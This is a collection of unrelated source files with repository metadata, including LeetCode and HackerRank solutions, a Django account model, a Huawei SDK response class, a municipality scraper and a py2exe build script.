642,-7065,6814,-6872,4875,7705,-7442,-9430,-4151,-6672,5473,-5109,6068,2503,9670,167,8539,8834,-836,9015,-5586,-8180,4056,9520,-8872,-8849,9552,-3472,6679,5389,-9839,-9010,-8458,-8954,5069,7500,-3937,5954,-3051,-7843,2281,-8171,5929,377,7645,6936,-3116,-6231,-9340,3595,2410,6706,4327,-2793,9221,1656,714,-8201,5919,-6037,-2872,4734,6645,7542,7107,-880,8223,1516,-4645,-9741,-4835,1156,2680,-3037,1571,1485,2324,-5363,8807,-9460,1684,-2757,8731,-3971,2392,2578,2320,-1841,4169,-8988,-5642,489,7627,6871,8995,-280,6323,2137,-7972,-585,-9995,5438,1643,8435,2519,-9779,-5702,8501,6026,2502,4039,9361,-171,1340,4428,5648,3087,7677,-9965,5502,3190,8319,-7592,-9365,-5323,-9348,7766,7653,7383,3147,8354,2724,-663,4322,2154,-3555,-4967,3202,-8002,8110,3083,1651,-6075,-6739,-8405,-4039,1816,5894,3010,7957,-8190,-7896,-1866,9598,80,2777,3646,3043,2240,-412,-958,-2836,561,-7638,2255,7549,-1620,-1361,2202,-1012,-7334,4268,-7763,5150,3074,5100,-9642,6714,-2170,-2191,-6436,-658,7332,7878,1163,-6606,-551,-441,8411,9867,-1453,-4983,-6380,-3398,497,6472,-5163,7819,-1127,-3377,-6218,-8560,-773,-2807,-9927,5649,-7030,1400,-6440,1576,2570,8208,3474,-3670,-2405,-4086,-523,6181,-2504,-2018,1975,-2048,-6194,5042,2922,9642,9714,7622,-6346,3688,2065,5912,-1749,-2335,-4959,1464,8523,3167,-3453,4764,-545,9386,4917,-2750,-2056,9565,9177,4509,685,-6645,-866,8468,4544,-3281,7235,484,-4471,-6184,-6928,-8036,-9516,3806,1100,2615,6164,2044,-559,-2083,5370,-1034,-2379,-8576,8674,-5843,616,6488,7071,5579,3303,-6361,1330,-4812,2655,-8158,-6020,8649,9039,-2065,9427,1420,-5690,3711,-7476,-8416,-4639,-9573,-7067,9561,-1665,-8580,289,3541,3618,7469,9906,-5783,-1025,5415,6085,9,1827,9885,6146,583,-8014,8632,9746,433,-6347,9587,-636,2017,-4677,-4592,140,2844,-8503,4010,-562,9608,-1519,1633,7905,9818,9191,2352,-6823,8934,5650,3452,-8279,5003,388,-7604,1521,-207,2317,-5024,1351,-950,-9771,5626,-4121,-8273,151,-4526,-4725,-5881,-921,-7339,-121,-3297,-7256,-8651,1137,-811,-912,-7013,-2557,-4763,-8099,6767,5969,8221,3424,-5161,5463,-4308,-3934,-3612,8528,-6530,-3650,2670,-1813,-9315,-9089,8042,2096,264,-1408,8630,6788,-5761,-137,-1970,-1230,8728,7310,-2127,-107,-7119,5204,41,-3846,-9662,4371,983,2797,-5700,9393,-2748,8030,-9238,4439,-89,-7474,-4503,-5265,1144,-5164,-5799,-6344,-6725,9648,-9060,893,-5152,-8989,-9782,3937,553,-1796,-2202,7505,-4908,-4759,4082,-767,9209,7193,-2229,2066,-6369,4102,-6070,-5836,9343,-7660,6666,-4940,3239,1482,110,3291,-573,-8443,-4194,3367,-6712,-6884,8905,-9456,7678,-1546,6128,2961,2259,-4744,-6129,-1342,-5539,8485,-6000,-8968,-7313,-5737,9072,-1541,5365,2919,-6519,-6308,-4742,-8420,4334,-1705,-8665,-6378,4690,-8664,-7933,607,3810,-6416,2968,-7263,-730,-6258,-1404,1295,3532,886,-7910,-7989,9120,7133,6881,-7411,1496,2506,15,-8619,-1289,-8512,-739,1106,5012,-6924,-8410,-7936,3119,-4152,-3716,6968,-9137,-4644,-5530,-8632,9056,-9938,8719,6659,6791,-5106,-1149,9220,-6083,-3164,-4111,-1333,981,-7073,9266,8073,-3804,8107,4772,7493,1605,-7870,5847,-995,2366,-8390,872,5244,588,4143,-1016,4359,-7084,4417,-5093,-6514,2309,-458,3767,-1132,4026,1363,-1270,-1435,1024,-601,6509,-6441,-9518,4393,-5744,-6249,-7601,8205,9963,-8558,1920,9228,-2967,-7063,-8239,3969,-3534,9664,3815,-8480,-2621,-4833,-8222,1056,-7791,-1095,-9042,8206,-3234,8838,5187,-389,2249,3025,-4846,-4913,-7767,7478,-1436,-8064,3632,9950,-1780,-7426,5776,4990,5496,88,4202,794,9515,-3124,7005,-1441,7850,-210,6977,-9206,-7510,-9424,4064,-6664,3215,4029,-6153,-9668,889,9573,5490,-2341,4865,-7657,-2897,2205,1554,-7445,8611,-9076,-1315,-4708,7789,7066,-9257,-8628,-849,-230,-8209,-8133,2810,632,2402,4776,-9135,-7522,4742,-6080,-4075,3699,-6005,913,-3989,1237,-4285,-3360,-8418,-5478,9407,-1194,3492,-6587,-5499,-987,149,-2581,2789,-347,2661,-6009,8438,-637,4464,-3376,428,2109,-7707,6080,3930,-3696,3906,1804,-4009,7372,3716,4367,641,1710,-9548,3253,3066,450,-9475,-1416,-7385,4263,1189,-2846,3455,127,9528,-4262,4395,-5886,-8957,-1875,3574,-7106,2164,-3845,-5476,5364,7282,2112,-6170,-7130,-3163,-117,-6290,-4435,7227,3754,1069,-6121,-6281,9385,-9953,4718,5580,2222,2302,8090,9160,9076,6959,-7239,4075,-390,2908,-2430,4108,8774,9681,8792,6424,-3358,5852,-2662,7246,5810,8445,-6356,-5137,843,-6506,-6581,1690,-994,-1218,-4643,-816,-2596,-3149,-6480,8635,-8790,-5463,7409,6192,-956,2887,-8533,1696,-7337,-7506,2337,-7845,6537,9444,-6896,863,1129,-1181,-2717,7070,6079,-4683,-6985,5050,-7938,3549,614,5846,-5991,2692,8658,3817,-9162,6158,-5992,5574,2036,7927,-2763,-5495,-1613,1044,-7749,7103,-3769,-6915,6547,2596,-3133,-9073,3534,-4224,-9242,4107,-6012,-9912,-6822,8432,6286,-6023,-1900,-1863,1328,2914,1693,7,-9050,8356,-612,2090,5562,7015,8702,4374,9196,-8620,-4588,-2877,3505,-6345,1574,-1767,7311,2451,8392,-8938,-1671,7408,386,-9777,-7113,6813,3576,446,-5849,-9545,3177,-4351,4536,-2306,-1956,-5016,8441,-9749,-8931,8405,-5694,-7828,-4002,-7446,9436,8800,-9560,-3857,4282,7772,-9416,8229,8695,3241,-8354,-936,936,-3293,-7897,-6302,6568,8097,-1031,5936,6039,7468,-8960,-3582,-6595,8596,-257,-4825,1664,3700,6527,-5082,9179,-4238,-5810,6587,2928,7428,-7620,-145,-8647,-1100,1606,-2474,3897,-8015,-2769,-3781,1466,-5447,-7552,6127,-5107,4138,1093,1954,-5599,5309,7122,8470,-620,8568,-4717,-2705,-5864,-8549,7195,8414,941,7728,5084,-8516,-9496,-8018,9044,-2139,-4804,3692,3244,3363,126,-139,7146,4031,1887,7977,8498,2242,9934,-3318,-9431,2590,9568,8798,1564,5598,6380,-44,6588,6091,8646,6674,-9415,-2845,6945,2199,7117,3575,-547,1999,-5665,-928,-1454,-6601,7805,-1501,2702,-7243,-9968,419,-2944,5440,-1330,-7902,2447,5341,-4286,-1088,2893,-5289,5259,507,-9117,4066,-6814,-7068,-5884,5038,-8575,-9876,-3528,-3203,9719,-9056,-7072,-3455,-5969,-7970,-5713,5489,5841,-7379,8691,-4099,8662,8082,9635,3338,-7217,-8156,-4253,-64,-703,-8400,3382,2256,-8302,-8891,9506,-5155,4246,3617,8355,-815,-2929,-1853,9761,4850,-8448,-1493,-9747,-2074,-8251,2707,-9506,6370,-2615,380,-7723,4052,7708,5728,-5835,-9387,9595,-3694,-4297,-2207,3197,2367,-2488,-8676,-3503,6847,-3554,-1386,9960,-4903,-3719,6285,-9697,7391,-9727,3622,4523,-1958,-772,504,-5305,-1455,-1061,-824,-2841,-6687,-5442,-5370,5172,-9644,-184,-777,9147,622,-2925,-1816,7440,3878,9738,137,-2348,-9826,-7696,-4672,6467,2883,953,-5098,-3269,-5566,-2107,1122,-5662,-1670,9580,-4670,-5947,405,2923,3036,-1085,7801,7971,-615,3296,-5768,-9767,3694,5858,398,-2698,5739,-1937,1302,-9177,-1811,-9558,4295,-3618,-5089,-2246,-4266,-7751,5098,-8806,9985,3702,-9701,7369,-8836,1941,-7433,5802,-9526,-1043,-6776,-5601,-9048,3324,-435,6648,5479,-2336,-8980,5882,-8511,3931,2585,-4916,7621,-1845,-1015,-9489,3518,9453,-9946,4595,4468,-9277,-1984,5906,-9017,-9171,-1990,9043,-5299,4921,1288,-6981,-3735,5614,5458,-3941,-1961,-6211,5509,-560,1777,3026,604,-2471,-3462,-9624,9276,8425,-2686,-5091,-8267,4841,-2403,2393,3543,2697,6807,-1009,-9265,-3711,-8450,5798,-4003,1219,9961,-7008,8487,-4802,-881,6338,-3948,-385,-3142,-1506,-4930,577,3893,-8135,9278,3960,-6643,-8055,4869,-7297,703,696,-6676,7077,6837,8799,-4832,3874,4899,2299,8908,3258,5910,7497,-5841,4159,-299,-2538,-9799,-3654,-1265,-8761,1371,1017,-9674,-4071,-9765,1059,-768,5695,-507,3959,-9731,3750,-2506,6420,-1516,6295,-1104,6225,-7250,-1477,-1734,-9244,-2019,-3903,4406,4308,1603,6124,7394,-7190,-889,-3803,-5332,-9051,680,-6589,-1496,-9885,-8606,9769,1092,-8921,765,-100,5624,-1070,-4197,9849,824,-990,3116,979,-8297,-2739,-9478,9631,1395,-1590,9510,-8787,-1352,-5482,5483,-1412,6740,4427,-7812,2808,9827,7919,977,532,8239,-704,8384,2277,7851,4789,-3997,-9359,2532,-8933,-635,4264,-7849,4276,1883,1785,-5033,-1290,138,-8276,6067,4513,-4105,-5331,-7148,4561,-2173,4254,9353,-1498,-8311,2487,-505,-8827,5056,5073,1948,9071,2727,-238,-6101,5387,-218,2593,-4342,3399,-5395,6180,-6107,-8944,8212,6246,-8655,-1718,-8185,798,-7895,334,4616,6448,-321,5251,7782,-1712,1859,1778,-7238,7883,-4806,-8183,5901,5510,-9710,-4295,5249,9584,4575,4829,7567,6500,2495,274,7446,-1746,-3392,3913,-8680,-633,-7001,-9934,-6583,-178,-7687,-4098,3835,1931,2045,-2561,5095,2693,7608,7343,-2694,9206,4933,-4978,4484,-3350,-9088,-7168,-7096,-289,-456,8552,-9385,6695,-4346,4795,-4057,1604,-8268,9364,2663,-1029,-9742,9626,7321,-6279,-4047,679,-2040,8216,7153,-1248,71,6759,-3571,663,-8034,-2274,-5757,-9975,-7300,7023,-8479,2715,-2473,220,1456,6213,470,4567,-8065,-6557,-9369,9232,-6299,868,-6215,8928,9816,-3687,5516,-1130,2443,-1349,2749,3449,3729,3762,146,-9935,6736,2198,5669,9087,2305,9882,3747,-1260,-3409,7861,5965,2536,-8724,722,173,4053,-4771,136,3470,3184,-9332,-8745,3227,-7630,7749,2113,-6970,3446,-9745,4407,-570,-6635,5035,-2445,2843,-2775,802,6307,1510,9997,-1578,5953,296,-2614,9399,9004,-8128,-3315,5125,1470,3662,6584,-3676,-1150,-8573,4481,6191,-3317,7976,4170,9114,-1992,-4201,-9552,-9567,9955,3150,4700,-3709,2011,-3939,-8010,5431,5951,5564,1459,-6112,375,-2790,7443,-4018,3251,-9932,-2912,-2713,9414,924,8735,-5646,-5936,-3838,-8001,3755,6722,-8798,4132,-7469,-6063,-9988,4958,-7081,-1600,5064,6790,-7015,4740,-5548,-4890,-9788,9676,-9533,-9216,1548,9335,-5580,9285,8431,1014,618,-3608,-9327,-1786,2130,8171,2435,435,55,-3342,5514,-7332,8488,2973,-2608,1296,-1391,6117,1425,-1716,4905,-5974,8951,7294,-5356,3724,-5415,8639,2800,376,2571,-1868,9003,8765,9305,6978,-5691,9455,8454,8991,-2256,-6027,62,2860,4069,1300,1540,7533,3487,6830,-2691,-9109,3798,-6895,-7285,-3543,7963,-6420,-1768,9612,7786,-5178,-9316,8736,1240,-2345,-1212,540,-4388,-1156,3113,-3359,6022,-1994,-2154,771,9052,4197,8536,9495,3062,-2522,-2672,7874,-9342,-5050,-4207,-4249,4289,636,-4378,7191,3923,-6175,7215,4447,-7578,7662,6326,-5195,1421,-6071,-1457,5718,9287,-7374,-9851,-2873,-4247,4973,-8521,-7031,-7491,-3788,-3354,9405,-3220,-8598,4147,-6621,-7390,4152,4845,-9386,-2055,2399,3939,5111,9576,8473,6446,-1550,9541,7288,-8012,2104,-7809,-8650,-6389,1081,2120,235,7914,8693,8610,-2721,-4705,-1898,-4042,-9001,458,7568,-4912,-9143,-4083,2295,4492,5996,4870,-3884,5215,-1335,6984,-5407,-5266,1986,-2720,2525,7277,-6723,2013,7061,6925,6513,-932,-2030,-6185,589,-6966,-215,8141,3668,3580,1862,-3653,-6780,502,1663,2863,-4638,2118,7715,9650,8718,-8387,-2803,-3986,4934,1770,-9504,-810,-3793,-4596,-2789,7299,-8964,5877,-537,-5302,-6467,7354,8548,1463,-6317,-7449,-229,-1877,5711,4239,-1973,-6610,-1897,-8914,-2131,-365,-8707,1794,3623,-4527,-343,-8163,-2068,8393,-2588,-5087,-4986,-1565,-7454,-7216,-7187,1267,-5171,8163,640,4562,8,6665,-7149,8122,-7304,-841,-90,-5127,-7262,9896,1611,-590,-2325,-7172,2526,2770,9921,9272,-9628,-9997,-9778,5425,-7532,-2692,7142,2215,3985,-6816,7606,6876,211,-9583]
print(containsNearbyAlmostDuplicate(L , 10000 ,0))
|
[
"linruili1113@gmail.com"
] |
linruili1113@gmail.com
|
3ffd4d86eac5f5c2dd6d48d15c7872a2d6e8ef95
|
abbc500b22e8d136550b3994095d79f3a2dc2f38
|
/answers/98.py
|
1ce7880153465dda684a3db96cd59d7912450d43
|
[] |
no_license
|
badandworse/leetcodeAns
|
956507f90eddcff3acb909275f3c8d0ae62e83dc
|
b1d141272d7ae02552a5e0bc88ae2dd5a9fd3a08
|
refs/heads/master
| 2021-05-15T00:04:33.414555
| 2018-04-13T15:07:10
| 2018-04-13T15:07:10
| 103,942,544
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 715
|
py
|
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def isValidBST(self, root):
"""
:type root: TreeNode
:rtype: bool
"""
inOrderLists=[]
stacks=[]
while root or len(stacks)>0:
while root:
stacks.append(root)
root=root.left
root=stacks.pop()
inOrderLists.append(root.val)
root=root.right
for i in range(len(inOrderLists)-1):
if inOrderLists[i]>=inOrderLists[i+1]:
return False
return True
|
[
"zilaixv@gmail.com"
] |
zilaixv@gmail.com
|
2850dbedb93f513dc0ee15666df35c5ff685c000
|
1302c48beae789b1b7837f34325a8f2b203d69df
|
/src/byro/bookkeeping/models/account.py
|
866ae96ca5bbdf954ac3dddf73f44b8cdd0bb526
|
[] |
no_license
|
grince/byro
|
b9a8ad0d54b78ee220af6dedee119ab9ec0036df
|
abe8743c04ba828fdd5ff50c55c43a3b32bc26bd
|
refs/heads/master
| 2021-01-25T12:31:12.461853
| 2018-02-26T17:42:12
| 2018-02-26T17:42:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,496
|
py
|
from django.db import models
from django.db.models import Q
from django.utils.decorators import classproperty
from django.utils.timezone import now
from django.utils.translation import ugettext_lazy as _
from byro.common.models.auditable import Auditable
from byro.common.models.choices import Choices
class AccountCategory(Choices):
# Regular Categories
MEMBER_DONATION = 'member_donation'
MEMBER_FEES = 'member_fees'
# Categories for double-entry bookkeeping
ASSET = 'asset'
LIABILITY = 'liability'
INCOME = 'income'
EXPENSE = 'expense'
@classproperty
def choices(cls):
return (
(cls.MEMBER_DONATION, _('Donation account')),
(cls.MEMBER_FEES, _('Membership fee account')),
(cls.ASSET, _('Asset account')),
(cls.LIABILITY, _('Liability account')),
(cls.INCOME, _('Income account')),
(cls.EXPENSE, _('Expense account')),
)
class Account(Auditable, models.Model):
account_category = models.CharField(
choices=AccountCategory.choices,
max_length=AccountCategory.max_length,
)
name = models.CharField(max_length=300, null=True) # e.g. 'Laser donations'
class Meta:
unique_together = (
('account_category', 'name'),
)
def __str__(self):
if self.name:
return self.name
return f'{self.account_category} account #{self.id}'
@property
def transactions(self):
from byro.bookkeeping.models import VirtualTransaction
return VirtualTransaction.objects.filter(
Q(source_account=self) | Q(destination_account=self)
)
def total_in(self, start=None, end=now()):
qs = self.incoming_transactions
if start:
qs = qs.filter(value_datetime__gte=start)
if end:
qs = qs.filter(value_datetime__lte=end)
return qs.aggregate(incoming=models.Sum('amount'))['incoming'] or 0
def total_out(self, start=None, end=now()):
qs = self.outgoing_transactions
if start:
qs = qs.filter(value_datetime__gte=start)
if end:
qs = qs.filter(value_datetime__lte=end)
return qs.aggregate(outgoing=models.Sum('amount'))['outgoing'] or 0
def balance(self, start=None, end=now()):
incoming_sum = self.total_in(start=start, end=end)
outgoing_sum = self.total_out(start=start, end=end)
return incoming_sum - outgoing_sum
|
[
"rixx@cutebit.de"
] |
rixx@cutebit.de
|
d175ae5e78fe281e79ff378a83c197c643eda9d6
|
7ab5402a6de3eb6bdda78d1bc42a2fddc920db44
|
/Algorithms/Implementation/Apple and Orange/code.py
|
fc29e634c07686cc80db997da8fb7fd5205a3ab9
|
[] |
no_license
|
elmoallistair/hackerrank
|
14f29c8960fca81f578f19bcb4df8978da7730a0
|
0d119fbe39ded3f9dc17d35661575d7822d82562
|
refs/heads/master
| 2023-06-09T18:54:24.661721
| 2022-10-20T12:29:34
| 2022-10-20T12:29:34
| 237,128,803
| 7
| 3
| null | 2023-05-31T10:32:59
| 2020-01-30T03:04:33
|
Python
|
UTF-8
|
Python
| false
| false
| 1,170
|
py
|
# Written: 02-Jan-2020
# https://www.hackerrank.com/challenges/apple-and-orange/problem
#!/bin/python3
import math
import os
import random
import re
import sys
# Complete the countApplesAndOranges function below.
def countApplesAndOranges(s, t, a, b, apples, oranges):
ap_count = or_count = 0
for i in apples:
fall_loc = a + i
if s <= fall_loc <= t:
ap_count += 1
for i in oranges:
fall_loc = b + i
if s <= fall_loc <= t:
or_count += 1
# Shorter Code:
# ap_count = len([i for i in apples if s <= a+i <=t])
# or_count = len([i for i in oranges if s <= b+i <=t])
print(ap_count)
print(or_count)
if __name__ == '__main__':
st = input().split()
s = int(st[0]) # Starting point
t = int(st[1]) # Ending Point
ab = input().split()
a = int(ab[0]) # Location of the Apple tree
b = int(ab[1]) # Location of the Orange tree
mn = input().split()
m = int(mn[0])
n = int(mn[1])
apples = list(map(int, input().rstrip().split()))
oranges = list(map(int, input().rstrip().split()))
countApplesAndOranges(s, t, a, b, apples, oranges)
|
[
"noreply@github.com"
] |
noreply@github.com
|
88be9db0202831cb66b600f8534377dc0698b3d3
|
c4b86ca323a9725e80e17c5a56a2b60a6194fcda
|
/adaboost.py
|
7047d283957f420c610c60ea7b902fb6b09fc04b
|
[] |
no_license
|
shivgupt/Whats-the-Correct-Orientation
|
3d8c2991bb1c65b5de1d1a7d5ed6a230884bfa0c
|
6f32609ba1aad11b10f993456ad7e1680bba64df
|
refs/heads/master
| 2021-06-10T21:46:18.892800
| 2016-12-31T22:34:40
| 2016-12-31T22:34:40
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 336
|
py
|
#!/usr/bin/python
"""
Adaboost
"""
import time
def train(traind, N):
starttime = time.time()
print " Training...",
print "Done in", round(time.time() - starttime, 5), "seconds!"
def test(testd, N):
starttime = time.time()
print " Testing...",
print "Done in", round(time.time() - starttime, 5), "seconds!"
|
[
"bohenderson93@gmail.com"
] |
bohenderson93@gmail.com
|
dfa17b78951d1872ed8fc4f817a8579389a5a042
|
f9d564f1aa83eca45872dab7fbaa26dd48210d08
|
/huaweicloud-sdk-dws/huaweicloudsdkdws/v2/model/cancel_readonly_cluster_response.py
|
d682b2b92dc9ed1fe6c03084b6e00be2e4fc2041
|
[
"Apache-2.0"
] |
permissive
|
huaweicloud/huaweicloud-sdk-python-v3
|
cde6d849ce5b1de05ac5ebfd6153f27803837d84
|
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
|
refs/heads/master
| 2023-09-01T19:29:43.013318
| 2023-08-31T08:28:59
| 2023-08-31T08:28:59
| 262,207,814
| 103
| 44
|
NOASSERTION
| 2023-06-22T14:50:48
| 2020-05-08T02:28:43
|
Python
|
UTF-8
|
Python
| false
| false
| 2,467
|
py
|
# coding: utf-8
import six
from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization
class CancelReadonlyClusterResponse(SdkResponse):
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
sensitive_list = []
openapi_types = {
}
attribute_map = {
}
def __init__(self):
"""CancelReadonlyClusterResponse
The model defined in huaweicloud sdk
"""
super(CancelReadonlyClusterResponse, self).__init__()
self.discriminator = None
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
if attr in self.sensitive_list:
result[attr] = "****"
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
import simplejson as json
if six.PY2:
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)
def __repr__(self):
"""For `print`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, CancelReadonlyClusterResponse):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
[
"hwcloudsdk@huawei.com"
] |
hwcloudsdk@huawei.com
|
30e02ab643584aa79a5e1571a8f813fc19a66bf0
|
a650a94b2ee02c5ac4160377105059eda51b3c32
|
/scraper/ont_muni_list.py
|
22f4dfc701a2e47a0deb9342ae71f07a821c5d04
|
[
"MIT"
] |
permissive
|
asterix135/votefor_data
|
566dc082eb9137f2245f13a637266d33e386985d
|
db54a424e1455868d9d47f0726e5fbce4679aacf
|
refs/heads/master
| 2021-01-23T15:50:56.415394
| 2017-09-18T02:39:50
| 2017-09-18T02:39:50
| 93,273,254
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 497
|
py
|
import csv
import requests
from lxml import html
page = requests.get('http://www.mah.gov.on.ca/page1591.aspx')
tree = html.fromstring(page.content)
muni_names = tree.xpath(
'//*[@id="content"]/div/table/tbody[2]/tr/td[1]/p/a[contains(@href, "h")]/text()'
)
muni_urls = tree.xpath(
'//*[@id="content"]/div/table/tbody[2]/tr/td[1]/p/a/@href'
)
muni_geo = None
muni_phone = None
print(len(muni_names))
print(len(muni_urls))
muni_data = list(zip(muni_names, muni_urls))
print(muni_data[-5:])
|
[
"chgraham@gmail.com"
] |
chgraham@gmail.com
|
b67369e584f1033bb94ffe25f1989624e70acf7b
|
a219071bf28605b7504d0aea2c0e35cdbaa10460
|
/helpdesk_luismiguel/__manifest__.py
|
8ff31aacd8653184c58cd827b188b554ddf6118b
|
[] |
no_license
|
e-lrl/curso2020-2
|
3c3106da39ad5a6e53dc6c1050e0ea08019c808a
|
8fa5b0d702892b4ffceaf45ba7e75e781f3f2c76
|
refs/heads/13.0
| 2023-02-03T04:19:07.290378
| 2020-12-20T21:11:55
| 2020-12-20T21:11:55
| 316,099,365
| 0
| 0
| null | 2020-11-26T02:06:22
| 2020-11-26T02:06:22
| null |
UTF-8
|
Python
| false
| false
| 789
|
py
|
# Copyright 2020 Hergar
# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl).
{
"name": "helpdesk.ticket",
"summary": "Helpdesk Ticket",
"version": "13.0.1.0.0",
"category": "Helpdesk",
"website": "https://github.com/OCA/helpdesk",
"author": "Hergar, Odoo Community Association (OCA)",
# see https://odoo-community.org/page/maintainer-role for a description of the maintainer role and responsibilities
"maintainers": ["luismiguelarpon"],
"license": "AGPL-3",
"application": True,
"installable": True,
"depends": [
"base",
],
"data": [
"security/helpdesk_security.xml",
"security/ir.model.access.csv",
"views/helpdesk_ticket_views.xml",
],
"demo": [
]
}
|
[
"l_arpon@hergar.com"
] |
l_arpon@hergar.com
|
fd00b70e65bcfa00a449b04cf78677a2199d7d70
|
0aad1bfab7ff39bdadd66d048de4c8d0670ca325
|
/gui/setup.py
|
6a1aa6738ccebd0501e6827d2343cc3804c497c1
|
[] |
no_license
|
RidaShamasneh/SQLAlchamy
|
ffe50c1c9eec54cb46255071a1c9d7ff693a8800
|
cb56c27e6a8dabfc53b7890b33ecdfeb68343b7d
|
refs/heads/master
| 2021-02-18T08:40:08.294409
| 2020-07-09T14:45:13
| 2020-07-09T14:45:13
| 245,178,704
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,476
|
py
|
#################################################################
# Do not remove the py2exe package, it is needed somewhere else #
#################################################################
import sys
sys.path.append(r'..')
sys.path.append(r'..\libs')
sys.path.append(r'C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\redist\x64\Microsoft.VC140.CRT')
sys.path.append(r'C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.21022.8_none_750b37ff97f4f68b')
sys.path.append(r'C:\Windows\SysWOW64\downlevel')
import py2exe
import resources.gui_resources
from distutils.core import setup
from glob import glob
import site
import os.path
data_files = [
(".", glob(r'C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\redist\x64\Microsoft.VC140.CRT\*.*')),
(".", glob(r'C:\Windows\SysWOW64\downlevel\api-ms-win-crt-heap-l1-1-0.dll')),
(".", glob(r'C:\Windows\SysWOW64\downlevel\api-ms-win-crt-runtime-l1-1-0.dll')),
(".", glob(r'C:\Windows\SysWOW64\downlevel\api-ms-win-crt-stdio-l1-1-0.dll')),
(".", glob(r'C:\Windows\SysWOW64\downlevel\api-ms-win-crt-string-l1-1-0.dll')),
("imageformats", [site.getsitepackages()[1] + "\\PyQt4" + "\\plugins\\imageformats\\qjpeg4.dll"]),
("imageformats", [site.getsitepackages()[1] + "\\PyQt4" + "\\plugins\\imageformats\\qico4.dll"]),
("imageformats", [site.getsitepackages()[1] + "\\PyQt4" + "\\plugins\\imageformats\\qgif4.dll"])]
excludes = ['Carbon', 'Carbon.Files', 'IronPythonConsole', 'System', 'System.Windows.Forms.Clipboard', '_imp',
'_scproxy', '_sysconfigdata', '_thread', 'clr', 'com.sun', 'com.sun.jna', 'com.sun.jna.platform',
'console', 'dummy.Process',
'importlib.machinery', 'modes.editingmodes', 'ordereddict',
'pkg_resources.extern.appdirs', 'pkg_resources.extern.packaging', 'pkg_resources.extern.six',
'pkg_resources.extern.six.moves', 'pyreadline.keysyms.make_KeyPress',
'pyreadline.keysyms.make_KeyPress_from_keydescr', 'pyreadline.keysyms.make_keyinfo',
'pyreadline.keysyms.make_keysym', 'six.moves.urllib', 'startup', 'win32com.gen_py',
'win32com.shell', 'winreg', 'cffi']
includes = ['sip', 'pkg_resources', 'PyQt4', 'sqlalchemy.sql.default_comparator', 'sqlalchemy.ext.baked']
packages = ['appdirs', 'packaging', 'encodings', 'sqlalchemy_utils']
dll_excludes = ['IPHLPAPI.DLL',
'api-ms-win-crt-convert-l1-1-0.dll',
'api-ms-win-crt-math-l1-1-0.dll',
'api-ms-win-crt-math-l1-1-0.dll',
'api-ms-win-crt-utility-l1-1-0.dll']
# important note: There is a bug in py2exe which requires setup.py to be executed twice to set an app icon
for _ in range(1, 3):
setup(data_files=data_files,
name='SQL Alchemy Viewer',
author='Rida-Shamasneh',
version="v0.0.1",
description='SQL Alchemy Viewer, CSV viewer (POC)',
packages=[os.path.abspath(os.path.join(os.getcwd(), os.pardir)) + '\\libs'],
options={'py2exe': {'excludes': excludes,
'includes': includes,
'packages': packages,
'dll_excludes': dll_excludes}},
zipfile=None,
windows=[{'script': 'main.py',
'dest_base': 'sql_alchemy',
'icon_resources': [(1, os.getcwd() + '\\resources\\images\\app_icon.ico')]
}]
)
|
[
"rshamasneh@asaltech.com"
] |
rshamasneh@asaltech.com
|
c8a176d73ce4de43a0c744f3ba4ba152b13f907d
|
9c968f7cdf390f8417912519b53f1b7f6ea8b7e8
|
/HJ_AL/brute_force/b1065_brute.py
|
9f0cd478cfd5e6253c843f1b729ba4e7aabdc19b
|
[] |
no_license
|
hhongjoon/TIL
|
aa33ce2973552a0baa0e0da5bd7d20824fd2e322
|
a33b20af15d3f671ea7c7b2855291e50a9036c1c
|
refs/heads/master
| 2021-08-07T17:33:39.722880
| 2020-04-25T08:11:02
| 2020-04-25T08:11:02
| 162,099,245
| 4
| 0
| null | 2019-10-30T09:06:21
| 2018-12-17T08:34:07
|
Jupyter Notebook
|
UTF-8
|
Python
| false
| false
| 427
|
py
|
num = int(input())
count=0
for i in range(1,num+1):
if len(str(i)) == 1 or len(str(i))==2:
count += 1
continue
str_num=str(i)
judge = True
for j in range(0,len(str_num)-2):
if int(str_num[j]) - int(str_num[j+1]) == int(str_num[j+1]) - int(str_num[j+2]):
continue
else:
judge = False
break
if judge == True:
count+=1
print(count)
|
[
"sungsung129@gmail.com"
] |
sungsung129@gmail.com
|
3851500e0770a527347f3612bf3cb70c49f66473
|
ae9fb8a01419c9f405142ec8c878608f0c0568f4
|
/mapit_bulk_processing/migrations/0013_auto_20160408_1040.py
|
b9a4155a1d098424f5490475c7e2cc73a23bd699
|
[] |
no_license
|
mysociety/mapit-bulk-processing
|
dfbd41c6a06b9d0625a3dde797cdf9dcc07e6f7e
|
d3a407877145fee657bde2ca6b9d5c5ae1fe96e3
|
refs/heads/master
| 2021-01-19T03:59:16.393571
| 2016-08-02T12:16:30
| 2016-08-02T12:16:30
| 55,393,025
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
